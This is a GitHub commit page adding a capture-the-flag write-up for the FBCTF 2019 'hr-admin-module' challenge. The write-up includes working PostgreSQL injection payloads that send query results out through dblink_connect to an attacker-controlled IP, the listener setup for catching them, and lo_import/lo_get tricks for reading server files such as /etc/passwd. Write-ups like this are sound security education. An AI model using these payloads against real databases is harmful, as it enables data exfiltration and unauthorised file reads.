You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Copy file name to clipboardexpand all lines: fbctf2019/hr-admin-module/README.md
+211-1
Original file line number
Diff line number
Diff line change
@@ -6,12 +6,222 @@ While tying down the application the developer may have had trouble revoking the
6
6
7
7
http://challenges.fbctf.com:8081
8
8
9
+
10
+
9
11
---
10
12
11
13
[Bahasa Indonesia](#bahasa-indonesia)
12
14
13
15
## English
14
-
TODO
16
+
*Solved after the CTF ended.*
17
+
18
+
### TL;DR
19
+
- We can trigger PostgreSQL Injection by using hidden `user_search` parameter.
20
+
- Query execution occurs in the background or asynchronously (probably with `dblink`) so the website only displays a warning message when there is a syntax or semantic error in the query.
21
+
- We can't perform In-Band SQL Injection or Inferential (Blind) SQL Injection because everything is run in the background (we can only know if the syntax and semantic are correct or not).
22
+
- Out-of-Band SQL Injection can be performed by using SQL SSRF via `dblink_connect` to establish a connection to our remote server so we can get the query result through DNS request or raw network dump (`(SELECT dblink_connect('host=HOST user=' || (QUERY) || ' password=PASSWORD dbname=DBNAME'))`).
23
+
- The PostgreSQL user used is allowed to use `lo_import` to load a file into `pg_largeobject` catalog but doesn't have permission to perform `SELECT` on `pg_largeobject` nor using `lo_get` for new object's `oid`.
24
+
- We can get the list of all `oid` through `pg_largeobject_metadata` and then try to use `lo_get` for old `oid` to see if secret/flag file has been loaded before and the user used is allowed to load it.
25
+
- We can get the flag by using `lo_get(16444)`!
26
+
27
+
### Detailed Steps
28
+
29
+
This website has a simple dashboard with a feature to search employees (`?employee_search=`). From the error message, we can know if there is a file named `secret` in `/var/lib/postgresql/data/` so we can assume if that file is the flag and this website uses PostgreSQL. Another feature for searching user seems disabled on the front-end but we can still access it by requesting to its parameter. We can know the parameter by viewing it in the source code.
30
+
31
+
32
+
33
+
Querying user with this feature has produced nothing. No results or whatsoever on the website. But, if the search value contains single quote and we refresh the page again, the website will displays a warning message. Seems like it uses session-based warning message and delay to prevent automatic scanner.
34
+
35
+
36
+
37
+
Closing the value with SQL comment will produce no warning. Again, we might need to refresh the page.
38
+
39
+
40
+
41
+
We can try several PostgreSQL queries to find out which query that will produce the warning message and not. To make sure, we can refresh the page multiple times for each query.
42
+
43
+
-`asd' and 1=0 --`, no warning
44
+
-`asd' and 1=1 --`, no warning
45
+
-`asd' order by 1 --`, no warning
46
+
-`asd' order by 2 --`, no warning
47
+
-`asd' order by 3 --`, warning
48
+
-`asd' union select 1,2 --`, warning
49
+
-`asd' union select 1,'a' --`, no warning
50
+
-`asd' union select 1,pg_sleep(10) --`, warning
51
+
-`asd' union select 1,cast(pg_sleep(10) as text) --`, no warning (without any delay)
52
+
-`asd' union select 1,'a' from pg_database --`, no warning
53
+
-`asd' union select 1,'a' from farisv --`, warning
54
+
-`asd' union select 1,chr(65) --`, no warning
55
+
-`asd' union select 1,chr(-65) --`, no warning
56
+
57
+
From obeserved behaviors, we can assume if the warning message only showed up when there is a syntax or semantic error in the query. If we select a non-existing database it will shows a warning message because SQL will check for table name, field name, data type, etc. during semantic check. But, it will not shows a warning message when `chr(-65)` is performed because it is syntactically and semantically correct although it will cause error during execution. Because the `pg_sleep` also doesn't cause delay, we can safely assume if query execution occurs in the background or asynchronously.
58
+
59
+
Since no any page changes other than warning message for syntax/semantic error and no meaningful inferential observation can be performed, we can't use common SQL Injection tricks like In-Band SQL Injection or Inferential/Blind SQL Injection.
60
+
61
+
Quick googling about running PostgreSQL query asynchronously or in the background yield an information about `dblink` (https://www.postgresql.org/docs/11/dblink.html). It's a module that supports connections to other PostgreSQL databases (or to the same database) from within a database session. It provides `dblink_send_query` to sends a query to be executed asynchronously. This module is not enabled by default but there is a high possibility that this module is enabled in this case.
62
+
63
+
Query that contains `dblink_connect` doesn't cause warning so `dblink` might be enabled.
64
+
65
+
66
+
67
+
Normally, `dblink_connect` can be used to open a persistent connection to a remote PostgreSQL database. Example: `SELECT dblink_connect('host=HOST user=USER password=PASSWORD dbname=DBNAME')`. Because we can control the parameter of this function, we can perform SQL Server Side Request/Connection Forgery to our own host. That means we can perform Out-of-Band SQL Injection to exfiltrate data. At least, there are two ways to get the data from server:
68
+
69
+
1. Set up a DNS server and then trigger the connection to `[data].our.domain` so we can see the data in the log or in DNS network packet.
70
+
2. Set up a public PostgreSQL server, monitor incoming packet to PostgreSQL port, and then trigger the connection to our host with exfiltrated data as `user`/`dbname`. By default, PostgreSQL doesn't use SSL for communication so we can see `user`/`dbname` as plaintext in the network.
71
+
72
+
Second way is easier because we don't need any domain. We only need to set up a server with public IP, install PostgreSQL, set the PostgreSQL service to listen to \*/0.0.0.0, and run network dumper (e.g. tcpdump) to monitor the traffic to PostgreSQL port (5432 by default).
73
+
74
+
To set PostgreSQL so it will listen to public, set `listen_addresses` in `postgresql.conf` to `*`.
75
+
76
+
```
77
+
listen_addresses = '*'
78
+
```
79
+
80
+
To monitor the incoming traffics, run `tcpdump` to monitor port 5432.
81
+
82
+
```
83
+
sudo tcpdump -nX -i eth0 port 5432
84
+
```
85
+
86
+
To see if we get the connection from target, we can try to use this query:
87
+
88
+
```
89
+
asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=farisv password=postgres dbname=hellofromfb')) --
90
+
```
91
+
92
+
If success, we got a nice piece of network packet with `user` and `dbname`.
Then, we can proceed to exfiltrate the database using some PostgreSQL queries. Note that for any query result that contains whitespaces, we need to convert the result to hex/base64 with `encode` function or replace the whitespace to other character with `replace` function because it will causes execution error in `dblink_connect`.
105
+
106
+
Get the list of schema:
107
+
108
+
```
109
+
asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT string_agg(schema_name,':') FROM information_schema.schemata) || ' password=postgres dbname=postgres')) --
Seems like it only has one empty table in the current schema and the flag is not in database. By the hint on the website, we may need to exfiltrate the data from `/var/lib/postgresql/data/secret`. If we try to use `pg_read_file` or `pg_read_binary_file` to read the file, we will not get any incoming connection so the current user may not have permission to use those functions.
157
+
158
+
Other alternative to read the file is using large objects (https://www.postgresql.org/docs/11/lo-funcs.html). We can use `lo_import` to load a file content to `pg_largeobject` catalog. If the query is success, we will get the object's `oid`.
We got 24668 as `oid` so it means that we can use `lo_import` function. Unfortunately, we will not get any results if we try to select the content of large object using `lo_get(24668)` or directly accessing `pg_largeobject` catalog. Seems like the current user doesn't have permission to read the content of new object.
175
+
176
+
After reading the documentation of large objects in PostgreSQL, we can know if large objects can has ACL (Access Control List). That means, if there is an old object with ACL that allows current user to read it, then we can exfiltrate that object's content.
177
+
178
+
We can get the list of available large object's `oid` by extracting from `pg_largeobject_metadata`.
179
+
180
+
```
181
+
asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT string_agg(cast(l.oid as text), ':') FROM pg_largeobject_metadata l) || ' password=postgres dbname=postgres')) --
We got a bunch of `oid`s. We can try use `lo_get` to load the object's content. For example, `lo_get(16439)` will load the content of `/etc/passwd`. If we want to load it, we need to handle the whitespaces first (e.g. convert to hex/base64). Because the result of `lo_gets` is `bytea`, we need to convert it to `UTF8` so it can be appended in the query.
203
+
204
+
We can try to load some objects with lowest `oid`. The flag is in object with `oid` 16444. No whitespaces in the flag so we can just display it as is.
0 commit comments